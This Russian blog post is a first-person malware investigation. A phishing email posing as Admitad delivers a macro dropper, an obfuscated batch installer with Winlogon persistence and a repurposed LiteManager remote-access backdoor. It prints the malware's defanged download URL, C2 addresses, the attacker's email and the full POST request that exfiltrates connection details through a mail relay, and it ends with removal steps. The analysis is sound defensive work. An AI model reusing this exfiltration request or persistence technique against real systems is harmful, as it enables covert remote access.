Современный троянский конь: история одного расследования
Сегодня я расскажу вам об одном троянском коне, забредшем в огород моего очень хорошего знакомого, о том, как я выгонял незваного гостя, о том, что у него внутри и какие уроки из всего этого я вынес.
Если вам интересно — добро пожаловать под кат!
Часть первая: начало
Началось всё недели три назад тёплым весенним днём, когда ко мне позвонил мой очень хороший знакомый и рассказал вот такую историю: несколько минут назад он получил на email письмо от компании Admitad, с которой у него деловые отношения. Письмо было вот такого содержания:
Уважаемые пользователи Admitad Уведомляем вас о нововведениях: С 23.03.16 Изменён порядок начисления трафика и систем выплат. Подробно см. Вложение. С 25.03.16 вводится система налогооблажения (НДС) на все аккаунты AD. Подробности НДС для каждого уровня аккаунта AD смотрите во вложении. С Уважением Admitad Support.
Отправителем значился Admitad Support. Ну и, естественно, к письму был приаттачен RAR-архив с XLS-файлом внутри.
Архив он, конечно же, распаковал, XLS-файл запустил и (та-даааа!) разрешил запуск макросов, потому что Excel вместо ожидаемой таблицы отображал пространное толкование про какие-то макросы (чёрт его знает — что это такое, да и слово какое-то дурацкое). Ну и после того, как он увидел какой-то счёт на оплату за просмотр видеоролика, наступило наконец-то прозрение, что его жестоко обманули. Он понял, что только что подхватил какую-то инфекцию и попросил меня глянуть компьютер — чтобы избавиться от неё.
Я выслушал историю, пожурил его немного, посочувствовал ему и попросил запустить Тимвьювер — потому как ехать через весь город было несколько лениво.
Часть вторая: первичное обследование
Подключившись к компьютеру через Тимвьювер, я начал обследование.
Первым делом аттач был отправлен на Virustotal: результат 0/56. Свежак — подумал я. Затем я начал искать на диске свежие файлы. Таковые нашлись в папке temp: там среди прочего барахла лежало два запускаемых файла: run.exe и stream.js.
Беглый осмотр пациента дал понять, что это просто загрузчик, который грузит файл httр://s2.zalivalka.ru/download/344314/231.jpg, переименовывает его в run.exe и запускает. Здесь в URL я специально заменил в аббревиатуре http латинскую 'p' на русскую 'р' — чтобы URL не превратился в линк. На run.exe Virustotal также скромно не отреагировал.
Ладно — подумал я — и продолжил поиск свежих файлов в компьютере. Скоро обнаружилась папка "%appdata%\MicrocoftUpdate\" с кучкой файлов внутри. Да, да, именно так — Microcoft — через 'c'. Уж не знаю — специально была сделана эта ошибка или нет, но она значительно облегчила дальнейший поиск изменений, внесённых в реестр. В этой папке exe-шник был всего один: ctfmon.exe. Если кто подзабыл, то напомню, что так когда-то назывался переключатель раскладки клавиатуры в ОС Windows XP.
Для начала я решил переименовать эту папку — чтобы вирус, которого я ещё не обнаружил, не смог пользоваться файлами из неё. Однако попытка переименовать папку закончилась неудачей. А не cftmon.exe ли из неё запущен и не даёт мне этого сделать? — подумал я. Открыл диспетчер задач — ну так и есть — вот он, родимый. Терминировал его и папка после этого переименовалась.
Затем я отправил ctfmon.exe на Virustotal. Результат был не очень страшный — что-то около 5/56, причём эти пятеро говорили о том, что это не вирус, а так-называемое RiskWare — легальное программное обеспечение, используемое для удалённого управления компьютером. Тогда я вернулся в папку temp и в этот момент понял, что совершил серьёзную ошибку: папка была пуста. Параллельно со мной в компьютере покопался некто, собрал всё, что ему было нужно, аккуратно прибрался за собой и ушёл.
Чёрт, чёрт, чёрт! Моя лень дала недругу возможность сделать своё чёрное дело. Я набрал телефон знакомого, попросил его выключить компьютер, взял ноутбук и поехал к нему домой.
Часть третья: препарирование коня
Для проведения вивисекции на ноутбук была установлена виртуальная машина, на которую были поставлены Windows 7, Microsoft Office, Process Monitor и WireShark. Запустив вирус, я немного подождал — когда он закончит все свои дела и запустит ctfmon.exe, после чего терминировал ctfmon и приступил к изучению собранных логов.
Из лога Process Monitor-а скоро стало понятно, что run.exe — это самораспаковывающийся архив. Для проверки я открыл его как архив: ну так и есть — внутри два файла: t10.bat и poi.exe. Вытащив из архива t10.bat я решил его поизучать: но не тут-то было! Такого видеть мне ещё не приходилось.
Походило на какую-то шифровку от Алекса Юстасу. Пришлось разбираться.
Первой строкой шло:
Ясно, что в тексте все строки '%iDVrlM%' нужно заменить на 'set'. Сказано — сделано:
Теперь вторая строка стала выглядеть по-человечески. После знака равно в ней стоит пробел (здесь на коде этого не видно). Понятно, что теперь нужно заменить все строки '%pGJV%' на пробел:
Идём дальше. Третья строка говорит нам о том, что нужно заменить все строки '%lVOMlhijX%' на знак равенства:
Распаковщик быстро выполнил свою работу и я получил несколько файлов для дальнейшего изучения. Начал я с файла install_script.iss. Единственной заслуживающей внимания в нём была секция [Run]:
Из неё стало понятно, что первым запускается VB-скрипт test.vbs:
Скрипт тоже несложный: запускает test.bat и самоуничтожается.
Теперь смотрим test.bat:
Лень опять взяла верх надо мной, поэтому на этот раз я не стал париться с редакторами, а попросил друга написать программку на C#. Что он и сделал. Низкий ему за это поклон!
После расшифровки получился вот такой bat-файл:
Тут происходит следующее: проверяется наличие запущенного антивируса Avast. Если таковой имеется, то выполняется переход в папку "%appData%\MicrocoftUpdate\", из неё удаляются файлы sendok.txt и poi.exe, в системной папке «Startup» создаётся ярлык для запуска программы ctfmon.exe и выполняется самоликвидация работающего bat-файла. При этом ctfmon.exe будет запущен при следующей перезагрузке компьютера. Если же Avast не обнаружен, то в реестре по пути «HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon» значение ключа «Shell» заменяется на "%appData%\MicrocoftUpdate\ctfmon.exe, explorer.exe", ну а потом опять же выполняется переход в папку "%appData%\MicrocoftUpdate\", удаляются файлы sendok.txt и poi.exe, запускается ctfmon.exe и выполняется самоликвидация bat-файла. Таким образом, ctfmon.exe будет запускаться при старте любой программы через Проводник Windows.
Всё, конь выполнил свою грязную работу – установил в систему бэкдор. Теперь обратим взоры на виновника торжества — файл ctfmon.exe.
Часть четвёртая: изучение бэкдора
Осмотр бэкдора проводился снаружи — с помощью программ Process Monitor и WireShark.
Сначала заглянем в свойства exe-файла:
Затем пройдёмся по логу Process Monitor-а в поисках слова «Microcoft». Для этого добавим в фильтр вот такое правило:
И что же мы видим? Мы видим, что ctfmon.exe создаёт в реестре весьма интересный ключ: HKCU\Software\LiteManagerTeam\LiteManager\v3.4\Config\ServerExe и записывает в этот ключ путь к себе, любимому.
Из чего я делаю предположение, что имею дело с программой LiteManager: иду на сайт LiteManager и скачиваю дистрибутив для Windows. Обратите внимание: он версии 4.7.2 — ничего не напоминает?
Распаковываю дистрибутив и вытаскиваю из него файл сервера: romserver.exe. Открываю окошко с его свойствами:
Да, очень похоже: та же иконка, те же версии, только самую малость отличается размер и есть цифровая подпись. Очевидно, что файл «доработали напильником», потому что в исходном виде он не совсем устраивал злодеев. Может быть как-нибудь выдавал своё присутствие в системе — что было совсем лишним. Однако то, что файл был изменён, совершенно не напрягает антивирусы: на Virustotal-е большинство из них просто молчит и лишь несколько сообщают, что это просто RiskWare.
Продолжим. Теперь я буду изучать лог WireShark.
Первым делом ctfmon.exe выполняет соединение с адресом 91.240.86.200. По установленному каналу взад-вперёд бегает несколько коротких сообщений, следом за которыми ctfmon.exe получает вот такой пакет:
Похоже на регистрацию на одном из головных серверов LiteManager. Затем некоторое время опять идёт обмен короткими сообщениями, за которыми приходит ещё один пакет:
Это уже интересней. Дело в том, что клиент LiteManager может соединяться с сервером не напрямую, а через третий узел — так называемый NoIPServer. Необходимость в этом может возникнуть в случае, если сервер спрятан от Интернета за какими-нибудь фаерволами/натами и т.п. Для злодеев же наличие подобного третьего узла — прекрасный способ анонимизироваться — скрыть свой клиентский IP от посторонних глаз. Данный пакет как раз содержит указания серверу — через что работать дальше (адрес и порт NoIPServer-а).
Смотрим дальше. Тут начинается самое интересное! Сразу после получения этого пакета ctfmon.exe отправляет по адресу httр://rmansys.ru/utils/inet_id_notify.php вот такой POST-запрос: ----------162747236742480 Content-Disposition: form-data; name="email" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
blackcc019@gmail.com ----------162747236742480 Content-Disposition: form-data; name="user_name" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
Dima ----------162747236742480 Content-Disposition: form-data; name="comp_name" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
DIMA-ПК ----------162747236742480 Content-Disposition: form-data; name="id" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
180185 ----------162747236742480 Content-Disposition: form-data; name="lang_id" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
1049 ----------162747236742480 Content-Disposition: form-data; name="product" Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: binary
RMS ----------162747236742480-- На что это похоже? Это похоже на то, что ctfmon с помощью скрипта inet_id_notify.php передаёт на email хозяина blackcc019@gmail.com информацию о параметрах подключения к инфицированному компьютеру.
Для проверки этой гипотезы я отправил подобный запрос со своего Debian-сервера:
Проверяю почту — вуаля! Получено письмо с адреса 'TektonIT Corp. <info@tektonit.com>' Тема письма: 'Remote Manipulator System установлен на удаленном компьютере, новый Internet-ID получен: 12345' Текст письма: Добрый день.
Сообщаем, что на удаленном компьютере установлен и запущен Remote Manipulator System, сгенерирован новый идентификатор "Internet-ID".
Имя пользователя: user1 Название компьютера: pc1
Данное письмо сгенерировано автоматически и не требует ответа. Внимание! Сохраните данное письмо в надежном месте или удалите, т.к. оно может содержать информацию, позволяющую получить удаленный доступ к компьютеру.
Сайт: http://rmansys.ru/ Служба поддержки: support@tektonit.com TektonIT Corp. Всё понятно. Господа с rmansys.ru предоставили хакерам отличную возможность получить нужную им информацию через такой вот своеобразный открытый почтовый релей. Молодцы, ничего не скажешь.
Затем ctfmon.exe, как ему было и указано, соединяется с компьютером по адресу 83.240.218.170:5651 и время от времени обменивается с ним короткими сообщениями — ждёт входа хозяина.
Наблюдать дальше смысла особого не было: алгоритм поведения понятен.
Часть пятая: лечение
Удалить эту инфекцию весьма не сложно (если, конечно, вам в компьютер не успели удалённо насовать ещё какой-нибудь вирусни). Нужно выполнить следующие шаги:
- Терминировать процесс бэкдора через диспетчер задач. Называться, кстати, он может и по другому.
- Удалить службу сервера: выполнить в консоли команду: sc delete ROMService_Support.
- Удалить папку "%appdata%\MicrocoftUpdate\" со всеми файлами в ней.
- Восстановить в реестре ключ «HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell»: записать в него строку «explorer.exe».
- Пройтись по всему реестру в поисках ключей, содержащих слово «Microcoft» и удалить их.
- Перезагрузить компьютер.
Часть шестая: заключительная
Напоследок я поискал в Интернете других пострадавших от этой атаки. Найти их оказалось совсем не трудно: они обсуждали тему нападения на форуме Admitad.
Так что картина вырисовывалась примерно следующая: хакеры проникли в сеть Admitad и утянули оттуда клиентскую базу. Затем состряпали этого трояна и разослали письма клиентам Admitad через подконтрольные им узлы бот-сети. Из той же бот-сети часть узлов, имеющих прямое соединение с Интернетом, была превращена в NoIP-сервера — посредством которых они смогли управлять вновь заражёнными компьютерами.
Какие выводы из этого всего я сделал для себя?Вывод первый: на современном этапе в Интернете предостаточно средств для создания подобных троянов практически «на коленке». Зачем напрягаться и писать свой собственный бэкдор, если есть масса готовых, исключительно продвинутых и широкофункциональных вариантов? Нужно просто малость их доработать и всё.
Вывод второй: анонимность подобной атаки исключительно высокая. Всё что удалось выудить — email хозяина, толку от которого, в общем-то — ноль.
Вывод третий: я совершил грубейшую ошибку. Первое, что надо было сделать — это выключить заражённую машину, а не копаться в ней, тем более через Интернет. Заражённый винчестер нужно было подключить к своему компьютеру и только после этого выполнять исследования. Повезло ещё, что это оказался бэкдор, а не какой-нибудь навёрнутый криптошифровальщик.